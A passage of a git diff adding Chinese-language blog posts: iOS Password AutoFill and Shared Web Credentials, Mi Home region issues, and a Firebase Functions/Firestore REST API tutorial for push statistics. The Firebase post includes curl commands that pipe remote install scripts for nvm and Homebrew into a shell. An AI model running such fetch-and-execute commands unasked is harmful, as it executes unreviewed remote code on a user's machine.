+      "TeamID.BundleId"
+    ]
+  }
+}
+

TeamID.BundleId 換成你的專案設定 (ex: TeamID = ABCD , BundleID = li.zhgchg.demoapp => ABCD.li.zhgchg.demoapp )

將此檔案上傳到網站 根目錄/.well-known 目錄下,假設你的 webcredentials 網站域名 是設 google.com 則此檔案就要是 google.com/apple-app-site-associationgoogle.com/.well-know/apple-app-site-association 有辦法存取到的。

補充:Subdomains

摘錄官方文件,如果是 subdomains 則都須列在 Associated Domains 之中。

Web 端設定完成!

補充:applinks

這邊有發現如果有設過 universal link applinks ,其實不用再多加 webcredentials 部分也能有效果;但我們還是照文件來吧,難保之後不會有其他問題。

回到程式

Code 部分,我們只需要將 TextField 設為 :

1
+2
+
usernameTextField.textContentType = .username
+passwordTextField.textContentType = .password
+

如果是新註冊,密碼確認欄位可使用:

1
+
repeatPasswordTextField.textContentType = .newPassword
+

這時候再重 Build & Run APP 後,在輸入帳號時鍵盤上方就會出現同個網站下已存密碼的選項了。

完成!

沒出現?

可能是沒打開自動填寫密碼功能(模擬器預設是關閉),請到「設定」->「密碼」->「自動填寫密碼」->打開「自動填寫密碼」。

抑或是該網站沒有已存在的密碼,一樣可在「設定」->「密碼」-> 右上角「+ 新增」-> 新增。

進入主題

前菜 Password AutoFill 介紹完之後,再來進入本篇主題;如何達到效果圖中的效果呢。

Shared Web Credentials

始於 iOS 8.0 只是之前很少看到 APP 使用,早在 Password AutoFill 出來之前其實就能使用此 API 整合網站帳號密碼讓使用者快速選擇。

Shared Web Credentials 除了能讀取帳號密碼,還能新增帳號密碼、對已存的帳號密碼進行修改、刪除。

設定

⚠️ 設定部分一樣要設好 Associated Domains,同前述 Password AutoFill 設定。

所以可以說是 Password AutoFill 功能的加強版!!

因為一樣要先設好 Password AutoFill 需要的環境才能使用此「進階」功能。

讀取

讀取使用 SecRequestSharedWebCredential 方法進行操作:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+
SecRequestSharedWebCredential(nil, nil) { (credentials, error) in
+  guard error == nil else {
+    DispatchQueue.main.async {
+      //alert error
+    }
+    return
+  }
+  
+  guard CFArrayGetCount(credentials) > 0,
+    let dict = unsafeBitCast(CFArrayGetValueAtIndex(credentials, 0), to: CFDictionary.self) as? Dictionary<String, String>,
+    let account = dict[kSecAttrAccount as String],
+    let password = dict[kSecSharedPassword as String] else {
+      DispatchQueue.main.async {
+        //alert error
+      }
+      return
+    }
+    
+    DispatchQueue.main.async {
+      //fill account,password to textfield
+    }
+}
+

SecRequestSharedWebCredential(fqdn, account, completionHandler)

  • fqdn 如果有多個 webcredentials domain 可以指定某一個,或使用 null 不指定
  • account 指定要查某一個帳號,使用 null 不指定

效果圖。(你可能有發現跟開始的效果圖不一樣)

⚠️ 因為此讀取方法已在 iOS 14 被標示 Deprecated!

⚠️ 因為此讀取方法已在 iOS 14 被標示 Deprecated!

⚠️ 因為此讀取方法已在 iOS 14 被標示 Deprecated!

"Use ASAuthorizationController to make an ASAuthorizationPasswordRequest (AuthenticationServices framework)"

此方法僅適用 iOS 8 ~ iOS 14,iOS 13 之後可改用同 Sign in with Apple 的 API — 「 AuthenticationServices

AuthenticationServices 讀取方式

支援度 iOS ≥ 13

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+
import AuthenticationServices
+
+class ViewController: UIViewController {
+  override func viewDidLoad() {
+      super.viewDidLoad()
+      //...
+      let request: ASAuthorizationPasswordRequest = ASAuthorizationPasswordProvider().createRequest()
+      let controller = ASAuthorizationController(authorizationRequests: [request])
+      controller.delegate = self
+      controller.performRequests()
+      //...
+  }
+}
+
+extension ViewController: ASAuthorizationControllerDelegate {
+    func authorizationController(controller: ASAuthorizationController, didCompleteWithAuthorization authorization: ASAuthorization) {
+        
+        if let credential = authorization.credential as? ASPasswordCredential {
+          // fill credential.user, credential.password to textfield
+        }
+        // else if as? ASAuthorizationAppleIDCredential... sign in with apple
+    }
+    func authorizationController(controller: ASAuthorizationController, didCompleteWithError error: Error) {
+        // alert error
+    }
+}
+

效果圖,可以看到新的做法在流程上、顯示上都能跟 Sign in with Apple 整合得更好。

⚠️ 此登入無法取代 Sign in with Apple(兩個是不同東西)。

寫入帳號密碼到「密碼」

被 Deprecated 的只有讀取的部分,新增、刪除、編輯的部分都還是照舊能用。

新增、刪除、編輯的部分使用 SecAddSharedWebCredential 進行操作。

1
+2
+3
+4
+5
+6
+7
+8
+9
+
SecAddSharedWebCredential(domain as CFString, account as CFString, password as CFString?) { (error) in
+  DispatchQueue.main.async {
+    guard error == nil else {
+      // alert error
+      return
+    }
+    // alert success
+  }
+}
+

SecAddSharedWebCredential(fqdn, account, password, completionHandler)

  • fqdn 可隨意指定要存入的 domain 不一定要在 webcredentials
  • account 指定要新增、修改、刪除的帳號
  • 如果要刪除資料則將 password 帶入 nil
  • 處理邏輯: - account 存在&有帶入 password = 修改 password - account 存在&password 帶入 nil = 從 domain 刪除 account, password - account 不存在&有帶入 password = 新增 account, password 到 domain

⚠️ 另外也不是能讓你在背景偷修改的,每次修改都會跳出提示框提示使用者,使用者按「更新密碼」才會真的修改資料。

密碼產生器

最後一個小功能,密碼產生器。

使用 SecCreateSharedWebCredentialPassword() 進行操作。

1
+
let password = SecCreateSharedWebCredentialPassword() as String? ?? ""
+

產生器產生出來的 Password 由英文大小寫及數字並使用「-」組成 (ex: Jpn-4t2-gaF-dYk)。

完整測試專案下載

美中不足

如果有使用第三方密碼管理工具(EX: onepass、lastpass)的朋友可能會發現,如果是鍵盤的 Password AutoFill 能支援顯示&輸入,但是在 AuthenticationServices 或 SecRequestSharedWebCredential 當中都沒有顯示出來;不確定有沒有辦法達成這個需求。

結束

感謝大家閱讀,也感謝 saiday 、街聲讓我知道有這個功能 XD。

還有 XCode ≥ 12.5 模擬器新增錄影,並支援儲存成 GIF 功能太好用啦!

在模擬器上按「Command」+「R」開始錄影,按一下紅點停止錄影;在右下角滑出的預覽圖上按「右鍵」->「Save as Animated GIF」即可存成 GIF 然後直接貼到文章內!

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

AVPlayer 實踐本地 Cache 功能大全

Universal Links 新鮮事

diff --git a/posts/94a4020edb82/index.html b/posts/94a4020edb82/index.html new file mode 100644 index 000000000..99a1e9331 --- /dev/null +++ b/posts/94a4020edb82/index.html @@ -0,0 +1 @@ + 米家 APP / 小愛音箱地區問題 | ZhgChgLi
Home 米家 APP / 小愛音箱地區問題
Post
Cancel

米家 APP / 小愛音箱地區問題

米家 APP / 小愛音箱地區問題

新添購小米空氣淨化器 3 & 記錄下米家與小愛音箱的連動問題

前言

關於小米的第四篇;最近再加一新成員 — 「小米空氣淨化器 3」 老實說從未關心過房間的空氣品質,平常看室外空氣霧濛濛還是會怕怕的,再加上本身長期鼻子過敏,就下手買了一台放房間了!

新一代在主機上就有小螢幕顯示濾網剩餘使用時間、當前空氣品質、選擇運行模式,不用連接 APP 就能使用;連接 APP 的話就能遠端控制,但也沒其他特別的功能。

買回來兩週了,發現房間空氣品質不錯;戶外空氣好時,室內空氣品質數值約在 001~006;室外空氣不好時,室內大約在 008~015;數值超過 75 才算空氣品質不好,150以上算嚴重;應該改買吸塵器比較實用XD 不過有台空氣小尖兵守護家裡也是蠻不錯的。

米家智慧家庭地區功能限制

米家 APP 有分台灣跟中國兩個地區可以選擇;地區選擇會影響 APP 內的功能,當初設定的時候選了中國地區,想說選哪區其實資料都不安全,那不如選功能多的地區,可以玩更多功能。

去年小愛音箱加入後,才注意到地區選擇有更複雜的問題;就是若要從小愛音箱控制米加智慧家電,兩個 APP 的地區必須選擇一樣,否則無法串接;這實在讓人苦惱,因為小愛音箱一樣如果選台灣,雖可搭配 KKBOX 但智慧功能是閹割版(少了小愛訓練)。

因此我的小愛音箱原本的地區選擇也是設中國地區,之前買的家電再加入上沒碰到問題,最後也最後也無礙的建立好完整的智慧家庭流程:出門跟小愛說掰掰就會自動關閉所有電器+打開門口攝影機;回家則說到家了,一樣連動家電自動開啟;體驗起來蠻舒暢的!

左:台灣/右:中國

左:台灣/右:中國

小米空氣淨化器 3的加入

買了那麼多小米居家用品,新成員當然也要加入我的米家 APP! 不過在加入的時候遇到問題,台灣版的小米空氣淨化器 3 無法加入我的米家 APP,要將米家 APP 地區切回台灣,才可….

這下可麻煩了,唯獨空氣清淨機無法加入;怎麼試都無法,好像是配對方式台灣跟中國方式不一樣,無奈下只好將地區切回台灣,所有家電全部重設… 小愛音箱也改回台灣了。

小愛音箱 + 米家智慧家庭場景控制

因地區切回台灣,少了「小愛訓練」功能;無法直接在 APP 內設置詞彙執行對應的米家智慧家庭場景;再多方嘗試下,發現其實智慧家庭有連結授權米家 APP 的話,場景、家電還是會自動連動到小愛音箱授權控制!

BUG

我的場景「回家」小愛音箱能正確識別執行,但是「出門」卻一直無法識,嘗試了一個下午才發現是簡繁體問題;我把場景名稱換成「出门」,小愛音箱就能正常識別執行。

所以有場景無法執行問題的朋友不妨將場景名稱、裝置名稱改為簡體字。

完成!這樣就能在 APP 地區設定在台灣下,繼續照原本的體驗使用米加智慧家庭。

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS UIViewController 轉場二三事

Medium 經營一年回顧

diff --git a/posts/9659db1357e4/index.html b/posts/9659db1357e4/index.html new file mode 100644 index 000000000..93d47469e --- /dev/null +++ b/posts/9659db1357e4/index.html @@ -0,0 +1,743 @@ + 使用 Firebase Firestore + Functions 快速搭建可供測試的 API 服務 | ZhgChgLi
Home 使用 Firebase Firestore + Functions 快速搭建可供測試的 API 服務
Post
Cancel

使用 Firebase Firestore + Functions 快速搭建可供測試的 API 服務

使用 Firebase Firestore + Functions 快速搭建可供測試的 API 服務

當推播統計遇上 Firebase Firestore + Functions

Photo by [Carlos Muza](https://unsplash.com/@kmuza?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Carlos Muza

前言

推播精確統計功能

最近想為 APP 導入的功能,未實作前我們只能從後端 Post 資料給 APNS/FCM 的成功與否當作推播基數並記錄推播點擊,計算出「點擊率」;但此方法其實非常不準確,基數包含許多無效裝置,APP 已刪除的(不一定會馬上失效)、關閉推播權限的在後端 Post 時都還是會得到成功的回傳。

在 iOS 10 之後可以透過實踐 Notification Service Extension 在推播橫幅出現時的時機點偷偷 Call API 回傳做統計;好處是非常精準,只有在使用者推播橫幅有出現才會 Call;如果 APP 刪除、關閉通知、通知沒開橫幅,都不會有動作,橫幅等於有出現推播訊息,用此當推播基數然後再算上點擊數就能得到「精確的點擊率」。

詳細原理及實作方式可參考之前的文章:「 i OS ≥ 10 Notification Service Extension 應用 (Swift)

目前測試下來 APP 的 Loss 率應該是 0%,實際常見應用像是 Line 的訊息點對點加解密(推播的訊息是加密過的,在手機收到才解密然後顯示出來)。

問題

APP 端的功其實不大,iOS/Android 都只要實作類似的功能(但 Android 如果要考慮中國市場就比較麻煩,要為更平台實作推播框架內容);比較大的功是後端還有 Server 的壓力處理,因為推播一次出去會同時 Call API 回傳紀錄,可能會塞爆 Server 的 max connection 如果又是使用 RDBMS 儲存記錄可能會更嚴重,如果發現統計數有 Loss 多半發生在此環節。

這邊可以以 log 寫檔案方式做紀錄,要查詢時在自行做統計顯示。

另外,後來想想一次出去同時回來的情境,數量可能沒有想像中的大;因為發推播也不會一口氣發個十萬百萬筆,也是幾筆幾筆批次發送;只要能扛住批次發出去同時回來的數量即可!

Prototype

因原先有問題中的考量,後端需要花功力研究修改且市場也不一定在意做出來的成效;所以想說先用能使用的資源弄個 Prototype 出來試試水溫。

這邊選擇的是 APP 幾乎都會使用的 Firebase 服務,其中的 Functions 和 Firestore 功能。

Firebase Functions

Functions 是 Google 提供的 serverless 服務,只需撰寫好程式邏輯,Google 自動幫你弄好伺服器、執行環境,也不用去管伺服器擴充及流量的問題。

Firebase Functions 其實就是 Google Cloud Functions 但只能使用 JavaScript (node.js) 撰寫,沒試過但如果用 Google Cloud Functions 選擇用其他語言撰寫然後同樣 import Firebase 服務我想應該也能用。

用在 API 就是我可以寫一個 node.js 檔案,得到一個實體 URL (ex: my-project.cloudfunctions.net/getUser),自行撰寫取得 Request 資訊和給予相應的 Response 邏輯。

之前寫過一篇關於 Google Functions 的文章「 使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事

Firebase Functions 必須啟用 Blaze 專案(用多少、付多少)才能使用。

Firebase Firestore

Firebase Firestore ,NoSql 資料庫,用來存放、管理數據。

結合 Firebase Functions 可在 Request 時 import Firestore 進來操作資料庫,然後Response 給使用者,就能搭建簡單的 Restful API 服務!

動手實作開始!

安裝 node.js 環境

這邊建議使用 NVM,node.js 版本管理工具進行安裝管理(像 python 用 pyenv)。

到 NVM Github 專案複製安裝 shell script:

1
+
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash
+

如果安裝過程出現錯誤,請確認有 ~/.bashrc~/.zshrc 檔案,沒有可用 touch ~/.bashrctouch ~/.zshrc 建立檔案然後再跑一下 install script。

再來就可以使用 nvm install node 安裝最新版的 node.js。

可下 npm --version 確認 npm 安裝成功、安裝版本:

部署 Firebase Functions

安裝 Firebase-tools:

1
+
npm install -g firebase-tools
+

安裝成功後,第一次使用請先輸入:

1
+
firebase login
+

完成 Firebase 登入驗證。

啟動專案:

1
+
firebase init
+

記下 Firebase init 所在路徑:

1
+
You're about to initialize a Firebase project in this directory:
+

這邊可以選擇要安裝的 Firebase CLI 工具,按 「↑」「↓」進行選擇,「空白鍵」進行選擇;這邊可以只選擇「Functions」或連「Firestore」一起選擇安裝。

=== Functions Setup

  • 語言選擇「 JavaScript
  • 關於「use ESLint to catch probable bugs and enforce style」語法 style 檢查 , YES / NO 都可
  • install dependencies with npm? YES

===Emulators Setup

可在本地環境測試 Functions、Firestore 功能及設定,不會算在使用度且不需等到部署上線才能測試。

依個人需求安裝,我有裝但沒有用...因為只是小功能而已。

Coding!

前往上述記下的路徑,找到 functions 資料夾 ,用編輯器打開裡面的 index.js 檔案。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+admin.initializeApp();
+
+exports.hello = functions.https.onRequest((req, res) => {
+    const targetID = req.query.targetID
+    const action = req.body.action
+    const name = req.body.name
+
+    res.send({"targetID": targetID, "action": action, "name": name});
+    return
+})
+

貼上以上內容,我們定義了一個路徑接口 /hello 然後會回傳 URL Query ?targetID=POST actionname 參數資訊。

修改&儲存完成後回到 console 下:

1
+
firebase deploy
+

以後的每次修改都記得要回來下 firebase deploy 指令,才會生效。

開始驗證&部署到 Firebase…

可能需要稍等一下, Deploy complete! 後你的第一個 Request & Response 網頁就完成了!

這時候可以回到 Firebase -> Functions 頁面:

就會看到剛剛撰寫的接口和網址位置。

複製下方網址貼到 PostMan 測試:

POST Body 記得選擇 x-www-form-urlencoded

成功!

Log

我們可以在程式碼中使用:

1
+
functions.logger.log("log:", value);
+

進行 Log 紀錄。

並可在 Firebase -> Functions -> 紀錄中查看 log 結果:

Example Goal

建立一個可新增、修改、刪除、查詢文章和按讚的 API

我們希望能達成 Restful API 的功能設計,所以不能再使用上面範例的純 Path 方式,要改藉用 Express 框架達成。

POST 新增文章

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// Insert
+app.post('/', async (req, res) => { // 這邊的 POST 指的是 HTTP Method POST
+    const title = req.body.title;
+    const content = req.body.content;
+    const author = req.body.author;
+
+    if (title == null || content == null || author == null) {
+        return res.status(400).send({"message":"參數錯誤!"});
+    }
+
+    var post = {"title":title, "content":content, "author": author, "created_at": new Date()};
+    await admin.firestore().collection('posts').add(post);
+    res.status(201).send({"message":"新增成功!"});
+});
+
+exports.post= functions.https.onRequest(app); // 這邊的 POST 指的是 /post 路徑
+

現在我們改用 Express 來處理網路請求,這邊先新增一個 路徑 / 的 POST 方法,最後一行表示路徑都在 /post 之下,再來我們會加上修改、刪除的 API。

firebase deploy 部署成功後,回到 Post Man 測試:

Post Man 打成功後可以再到 Firebase -> Firestore 檢查一下資料是否有正確寫入:

PUT 修改文章

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// Update
+app.put("/:id", async (req, res) => {
+    const title = req.body.title;
+    const content = req.body.content;
+    const author = req.body.author;
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"找不到文章!"}); 
+    } else if (title == null || content == null || author == null) {
+        return res.status(400).send({"message":"參數錯誤!"});
+    }
+
+    var post = {"title":title, "content":content, "author": author};
+    await admin.firestore().collection('posts').doc(req.params.id).update(post);
+    res.status(200).send({"message":"修改成功!"});
+});
+
+exports.post= functions.https.onRequest(app);
+

部署&測試方式如新增,Post Man Http Method 記得改成 PUT

DELETE 刪除文章

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// Delete
+app.delete("/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"找不到文章!"});
+    }
+
+    await admin.firestore().collection("posts").doc(req.params.id).delete();
+    res.status(200).send({"message":"文章成功!"});
+})
+
+exports.post= functions.https.onRequest(app);
+

部署&測試方式如新增,Post Man Http Method 記得改成 DELETE

新增、修改、刪除做完了,來做查詢!

SELECT 查詢文章

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// Select List
+app.get('/', async (req, res) => {
+    const posts = await admin.firestore().collection('posts').get();
+    var result = [];
+    posts.forEach(doc => {
+      let id = doc.id;
+      let data = doc.data();
+      result.push({"id":id, ...data})
+    });
+    res.status(200).send({"result":result});
+});
+
+// Select One
+app.get("/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"找不到文章!"});
+    }
+
+    res.status(200).send({"result":{"id":doc.id, ...doc.data()}});
+});
+
+exports.post= functions.https.onRequest(app);
+

部署&測試方式如新增,Post Man Http Method 記得改成 GET 還有將 Body 切回 none

InsertOrUpdate?

有時候我們需要當值存在時做更新,當值不存在時新增,這時候可以用 set 搭配 merge: true

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// InsertOrUpdate
+app.post("/tag", async (req, res) => {
+    const name = req.body.name;
+
+    if (name == null) {
+        return res.status(400).send({"message":"參數錯誤!"});
+    }
+
+    var tag = {"name":name};
+    await admin.firestore().collection('tags').doc(name).set({created_at: new Date()}, {merge: true});
+    res.status(201).send({"message":"新增成功!"});
+});
+
+exports.post= functions.https.onRequest(app);
+

這邊以新增 tag 為例,部署&測試方式如新增,可以看到 Firestore 不會一直重複新增新資料。

文章按讚計數器

假設我們的文章資料現在多一個 likeCount 欄位紀錄按讚數量,那我們該怎麼做呢?

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// Like Post
+app.post("/like/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+    const increment = admin.firestore.FieldValue.increment(1)
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"找不到文章!"});
+    }
+
+    await admin.firestore().collection('posts').doc(req.params.id).set({likeCount: increment}, {merge: true});
+    res.status(201).send({"message":"按讚成功!"});
+});
+
+exports.post= functions.https.onRequest(app);
+

運用 increment 這個變數就能直接做到取出值 +1 的動作。

大流量文章按讚計數器

因為 Firestore 有 寫入速度限制 的:

一個文檔一秒只能寫入一次 ,所以當按讚的人一多;同時請求下可能會變得很慢。

官方給的解決方法「 Distributed counters 」其實也沒什麼高深的技術,就是多用幾個分散的 likeCount 欄位來統計,然後讀取的時候再加總起來。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// Distributed counters Like Post
+app.post("/like2/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+    const increment = admin.firestore.FieldValue.increment(1)
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"找不到文章!"});
+    }
+
+    //1~10
+    await admin.firestore().collection('posts').doc(req.params.id).collection("likeCounter").doc("likeCount_"+(Math.floor(Math.random()*10)+1).toString())
+    .set({count: increment}, {merge: true});
+    res.status(201).send({"message":"按讚成功!"});
+});
+
+
+exports.post= functions.https.onRequest(app);
+

以上就是分散出欄位來紀錄 Count 避免寫入太慢;但如果分散的欄位太多會增加讀取成本($$),但應該還是比每次按讚都 add 一筆新紀錄還便宜。

使用 Siege 工具進行壓力測試

使用 brew 安裝 siege

1
+
brew install siege
+

p.s 如果你出現 brew: command not found 請先安裝 brew 套件管理工具

1
+
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
+

安裝完成後可下:

1
+
siege -c 100 -r 1 -H 'Content-Type: application/json' 'https://us-central1-project.cloudfunctions.net/post/like/id POST {}'
+

進行壓力測試:

  • -c 100 :100 個任務同步執行
  • -r 1 :每個任務執行 1 次請求
  • -H ‘Content-Type: application/json’ :如果是 POST 時需加上
  • ‘https://us-central1-project.cloudfunctions.net/post/like/id POST {}’ :POST 網址、Post Body (ex: {“name”:”1234”} )

執行完成後可看到執行結果:

successful_transactions: 100 表示 100 次都執行成功。

可以回 Firebase -> Firestore 查看結果是否有 Loss Data:

成功!

完整 Example Code

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// Insert
+app.post('/', async (req, res) => {
+    const title = req.body.title;
+    const content = req.body.content;
+    const author = req.body.author;
+
+    if (title == null || content == null || author == null) {
+        return res.status(400).send({"message":"參數錯誤!"});
+    }
+
+    var post = {"title":title, "content":content, "author": author, "created_at": new Date()};
+    await admin.firestore().collection('posts').add(post);
+    res.status(201).send({"message":"新增成功!"});
+});
+
+// Update
+app.put("/:id", async (req, res) => {
+    const title = req.body.title;
+    const content = req.body.content;
+    const author = req.body.author;
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"找不到文章!"}); 
+    } else if (title == null || content == null || author == null) {
+        return res.status(400).send({"message":"參數錯誤!"});
+    }
+
+    var post = {"title":title, "content":content, "author": author};
+    await admin.firestore().collection('posts').doc(req.params.id).update(post);
+    res.status(200).send({"message":"修改成功!"});
+});
+
+// Delete
+app.delete("/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"找不到文章!"});
+    }
+
+    await admin.firestore().collection("posts").doc(req.params.id).delete();
+    res.status(200).send({"message":"文章成功!"});
+});
+
+// Select List
+app.get('/', async (req, res) => {
+    const posts = await admin.firestore().collection('posts').get();
+    var result = [];
+    posts.forEach(doc => {
+      let id = doc.id;
+      let data = doc.data();
+      result.push({"id":id, ...data})
+    });
+    res.status(200).send({"result":result});
+});
+
+// Select One
+app.get("/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"找不到文章!"});
+    }
+
+    res.status(200).send({"result":{"id":doc.id, ...doc.data()}});
+});
+
+// InsertOrUpdate
+app.post("/tag", async (req, res) => {
+    const name = req.body.name;
+
+    if (name == null) {
+        return res.status(400).send({"message":"參數錯誤!"});
+    }
+
+    var tag = {"name":name};
+    await admin.firestore().collection('tags').doc(name).set({created_at: new Date()}, {merge: true});
+    res.status(201).send({"message":"新增成功!"});
+});
+
+// Like Post
+app.post("/like/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+    const increment = admin.firestore.FieldValue.increment(1)
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"找不到文章!"});
+    }
+
+    await admin.firestore().collection('posts').doc(req.params.id).set({likeCount: increment}, {merge: true});
+    res.status(201).send({"message":"按讚成功!"});
+});
+
+// Distributed counters Like Post
+app.post("/like2/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+    const increment = admin.firestore.FieldValue.increment(1)
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"找不到文章!"});
+    }
+
+    //1~10
+    await admin.firestore().collection('posts').doc(req.params.id).collection("likeCounter").doc("likeCount_"+(Math.floor(Math.random()*10)+1).toString())
+    .set({count: increment}, {merge: true});
+    res.status(201).send({"message":"按讚成功!"});
+});
+
+
+exports.post= functions.https.onRequest(app);
+

回歸主題,推播統計

回到一開始我們想做的,推播統計功能。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+const vaildPlatformTypes = ["iOS","Android"]
+const vaildActionTypes = ["clicked","received"]
+
+// Insert Log
+app.post('/', async (req, res) => {
+    const increment = admin.firestore.FieldValue.increment(1);
+    const platformType = req.body.platformType;
+    const pushID = req.body.pushID;
+    const actionType =  req.body.actionType;
+
+    if (!vaildPlatformTypes.includes(platformType) || pushID == undefined || !vaildActionTypes.includes(actionType)) {
+        return res.status(400).send({"message":"參數錯誤!"});
+    } else {
+        await admin.firestore().collection(platformType).doc(actionType+"_"+pushID).collection("shards").doc((Math.floor(Math.random()*10)+1).toString())
+        .set({count: increment}, {merge: true})
+        res.status(201).send({"message":"紀錄成功!"});
+    }
+});
+
+// View Log
+app.get('/:type/:id', async (req, res) => {
+    // received
+    const receivedDocs = await admin.firestore().collection(req.params.type).doc("received_"+req.params.id).collection("shards").get();
+    var received = 0;
+    receivedDocs.forEach(doc => {
+      received += doc.data().count;
+    });
+
+    // clicked
+    const clickedDocs = await admin.firestore().collection(req.params.type).doc("clicked_"+req.params.id).collection("shards").get();
+    var clicked = 0;
+    clickedDocs.forEach(doc => {
+        clicked += doc.data().count;
+    });
+    
+    res.status(200).send({"received":received,"clicked":clicked});
+});
+
+exports.notification = functions.https.onRequest(app);
+

新增推播紀錄

檢視推播統計數字

1
+
https://us-centra1-xxx.cloudfunctions.net/notification/iOS/1
+

另外也做了個介面統計推播數字。

踩坑

因為對 node.js 用法不太熟悉,一開始摸索的時候在 add 資料時沒加上 await 再加上寫入速度限制,導致在大流量情況下會 Data Loss…

Pricing

別忘了參考 Firebase Functions & Firestore 的定價策略。

Functions

運算時間

運算時間

網路

網路

Cloud Functions 針對運算時間資源提供永久免費方案,當中包含 GB/秒和 GHz/秒的運算時間。除了 200 萬次叫用以外,免費方案也提供 400,000 GB/秒和 200,000 GHz/秒的運算時間,以及每月 5 GB 的網際網路輸出流量。

Firestore

價格可能隨時更改,請以官網最新資訊為準。

結論

